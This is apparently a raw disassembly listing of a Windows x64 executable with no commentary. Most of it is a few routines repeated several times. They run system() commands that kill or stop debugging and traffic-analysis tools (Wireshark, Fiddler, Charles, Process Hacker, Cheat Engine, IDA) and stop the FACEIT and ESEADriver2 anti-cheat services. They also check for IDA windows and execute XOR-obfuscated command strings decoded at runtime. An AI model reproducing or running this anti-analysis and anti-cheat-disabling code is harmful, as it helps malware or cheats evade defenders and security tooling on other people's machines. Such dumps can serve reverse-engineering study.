call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x398], xmm0
mov dword [rbp + 0x3a8], 0x809e84d7
mov dword [rbp + 0x3ac], 0xd6d1dccd
mov word [rbp + 0x3b0], Ordinal_200
mov byte [rbp + 0x3b2], 1
lea rcx, [rbp + 0x398]
call fcn.14005a930
lea rcx, [rbp + 0x398]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xef8], xmm0
mov dword [rbp + 0xf08], 0xde998f9f
mov dword [rbp + 0xf0c], 0x8581d0cd
mov dword [rbp + 0xf10], 0xcac1d29d
mov dword [rbp + 0xf14], 0x100c7d3
lea rcx, [rbp + 0xef8]
call fcn.14005a900
lea rcx, [rbp + 0xef8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1b78], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1b88], xmm1
mov word [rbp + 0x1b98], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1b9a], 1
lea rcx, [rbp + 0x1b78]
call fcn.14005a8d0
lea rcx, [rbp + 0x1b78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1ba0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1bb0], xmm1
mov word [rbp + 0x1bc0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1bc2], 1
lea rcx, [rbp + 0x1ba0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1ba0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1bc8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1bd8], xmm1
mov word [rbp + 0x1be8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1bea], 1
lea rcx, [rbp + 0x1bc8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1bc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1bf0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1c00], xmm1
mov word [rbp + 0x1c10], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1c12], 1
lea rcx, [rbp + 0x1bf0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1bf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x6b8], xmm0
mov dword [rbp + 0x6c8], 0x82d5ca82
mov dword [rbp + 0x6cc], 0xc2cf8298
mov dword [rbp + 0x6d0], 0xc2d4cf
mov byte [rbp + 0x6d4], 1
lea rcx, [rbp + 0x6b8]
call fcn.14005a8a0
lea rcx, [rbp + 0x6b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0xb8], xmm0
mov dword [rbp + 0xc8], 0xcad5d8c9
mov word [rbp + 0xcc], 0xdc
mov byte [rbp + 0xce], 1
lea rcx, [rbp + 0xb8]
call fcn.14005a870
lea rcx, [rbp + 0xb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x9d8], xmm0
mov dword [rbp + 0x9e8], 0xcc8e8480
mov dword [rbp + 0x9ec], 0x9c9a80d3
mov dword [rbp + 0x9f0], 0xd2cdc0d1
mov word [rbp + 0x9f4], Ordinal_200
mov byte [rbp + 0x9f6], 1
lea rcx, [rbp + 0x9d8]
call fcn.14005a840
lea rcx, [rbp + 0x9d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400ed5ac]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055a7a
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xf18]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x3b8], xmm0
mov dword [rbp + 0x3c8], 0x809e84d7
mov dword [rbp + 0x3cc], 0xd6d1dccd
mov word [rbp + 0x3d0], Ordinal_200
mov byte [rbp + 0x3d2], 1
lea rcx, [rbp + 0x3b8]
call fcn.14005a930
lea rcx, [rbp + 0x3b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xf38], xmm0
mov dword [rbp + 0xf48], 0xde998f9f
mov dword [rbp + 0xf4c], 0x8581d0cd
mov dword [rbp + 0xf50], 0xcac1d29d
mov dword [rbp + 0xf54], 0x100c7d3
lea rcx, [rbp + 0xf38]
call fcn.14005a900
lea rcx, [rbp + 0xf38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1c18], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1c28], xmm1
mov word [rbp + 0x1c38], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1c3a], 1
lea rcx, [rbp + 0x1c18]
call fcn.14005a8d0
lea rcx, [rbp + 0x1c18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1c40], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1c50], xmm1
mov word [rbp + 0x1c60], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1c62], 1
lea rcx, [rbp + 0x1c40]
call fcn.14005a8d0
lea rcx, [rbp + 0x1c40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1c68], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1c78], xmm1
mov word [rbp + 0x1c88], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1c8a], 1
lea rcx, [rbp + 0x1c68]
call fcn.14005a8d0
lea rcx, [rbp + 0x1c68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1c90], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1ca0], xmm1
mov word [rbp + 0x1cb0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1cb2], 1
lea rcx, [rbp + 0x1c90]
call fcn.14005a8d0
lea rcx, [rbp + 0x1c90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x6d8], xmm0
mov dword [rbp + 0x6e8], 0x82d5ca82
mov dword [rbp + 0x6ec], 0xc2cf8298
mov dword [rbp + 0x6f0], 0xc2d4cf
mov byte [rbp + 0x6f4], 1
lea rcx, [rbp + 0x6d8]
call fcn.14005a8a0
lea rcx, [rbp + 0x6d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0xd0], xmm0
mov dword [rbp + 0xe0], 0xcad5d8c9
mov word [rbp + 0xe4], 0xdc
mov byte [rbp + 0xe6], 1
lea rcx, [rbp + 0xd0]
call fcn.14005a870
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x9f8], xmm0
mov dword [rbp + 0xa08], 0xcc8e8480
mov dword [rbp + 0xa0c], 0x9c9a80d3
mov dword [rbp + 0xa10], 0xd2cdc0d1
mov word [rbp + 0xa14], Ordinal_200
mov byte [rbp + 0xa16], 1
lea rcx, [rbp + 0x9f8]
call fcn.14005a840
lea rcx, [rbp + 0x9f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Ida_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055ecf
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xf58]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x3d8], xmm0
mov dword [rbp + 0x3e8], 0x809e84d7
mov dword [rbp + 0x3ec], 0xd6d1dccd
mov word [rbp + 0x3f0], Ordinal_200
mov byte [rbp + 0x3f2], 1
lea rcx, [rbp + 0x3d8]
call fcn.14005a930
lea rcx, [rbp + 0x3d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xf78], xmm0
mov dword [rbp + 0xf88], 0xde998f9f
mov dword [rbp + 0xf8c], 0x8581d0cd
mov dword [rbp + 0xf90], 0xcac1d29d
mov dword [rbp + 0xf94], 0x100c7d3
lea rcx, [rbp + 0xf78]
call fcn.14005a900
lea rcx, [rbp + 0xf78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1cb8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1cc8], xmm1
mov word [rbp + 0x1cd8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1cda], 1
lea rcx, [rbp + 0x1cb8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1cb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1ce0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1cf0], xmm1
mov word [rbp + 0x1d00], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1d02], 1
lea rcx, [rbp + 0x1ce0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1ce0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1d08], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1d18], xmm1
mov word [rbp + 0x1d28], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1d2a], 1
lea rcx, [rbp + 0x1d08]
call fcn.14005a8d0
lea rcx, [rbp + 0x1d08]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1d30], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1d40], xmm1
mov word [rbp + 0x1d50], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1d52], 1
lea rcx, [rbp + 0x1d30]
call fcn.14005a8d0
lea rcx, [rbp + 0x1d30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x6f8], xmm0
mov dword [rbp + 0x708], 0x82d5ca82
mov dword [rbp + 0x70c], 0xc2cf8298
mov dword [rbp + 0x710], 0xc2d4cf
mov byte [rbp + 0x714], 1
lea rcx, [rbp + 0x6f8]
call fcn.14005a8a0
lea rcx, [rbp + 0x6f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0xe8], xmm0
mov dword [rbp + 0xf8], 0xcad5d8c9
mov word [rbp + 0xfc], 0xdc
mov byte [rbp + 0xfe], 1
lea rcx, [rbp + 0xe8]
call fcn.14005a870
lea rcx, [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0xa18], xmm0
mov dword [rbp + 0xa28], 0xcc8e8480
mov dword [rbp + 0xa2c], 0x9c9a80d3
mov dword [rbp + 0xa30], 0xd2cdc0d1
mov word [rbp + 0xa34], Ordinal_200
mov byte [rbp + 0xa36], 1
lea rcx, [rbp + 0xa18]
call fcn.14005a840
lea rcx, [rbp + 0xa18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Ida_Freeware
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056324
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xf98]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov dword [rbp + 0x408], 0x809e84d7
mov dword [rbp + 0x40c], 0xd6d1dccd
mov word [rbp + 0x410], Ordinal_200
mov byte [rbp + 0x412], 1
lea rcx, [rbp + 0x3f8]
call fcn.14005a930
lea rcx, [rbp + 0x3f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xfb8], xmm0
mov dword [rbp + 0xfc8], 0xde998f9f
mov dword [rbp + 0xfcc], 0x8581d0cd
mov dword [rbp + 0xfd0], 0xcac1d29d
mov dword [rbp + 0xfd4], 0x100c7d3
lea rcx, [rbp + 0xfb8]
call fcn.14005a900
lea rcx, [rbp + 0xfb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1d58], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1d68], xmm1
mov word [rbp + 0x1d78], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1d7a], 1
lea rcx, [rbp + 0x1d58]
call fcn.14005a8d0
lea rcx, [rbp + 0x1d58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1d80], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1d90], xmm1
mov word [rbp + 0x1da0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1da2], 1
lea rcx, [rbp + 0x1d80]
call fcn.14005a8d0
lea rcx, [rbp + 0x1d80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1da8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1db8], xmm1
mov word [rbp + 0x1dc8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1dca], 1
lea rcx, [rbp + 0x1da8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1da8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1dd0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1de0], xmm1
mov word [rbp + 0x1df0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1df2], 1
lea rcx, [rbp + 0x1dd0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1dd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x718], xmm0
mov dword [rbp + 0x728], 0x82d5ca82
mov dword [rbp + 0x72c], 0xc2cf8298
mov dword [rbp + 0x730], 0xc2d4cf
mov byte [rbp + 0x734], 1
lea rcx, [rbp + 0x718]
call fcn.14005a8a0
lea rcx, [rbp + 0x718]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0x110], 0xcad5d8c9
mov word [rbp + 0x114], 0xdc
mov byte [rbp + 0x116], 1
lea rcx, [rbp + 0x100]
call fcn.14005a870
lea rcx, [rbp + 0x100]
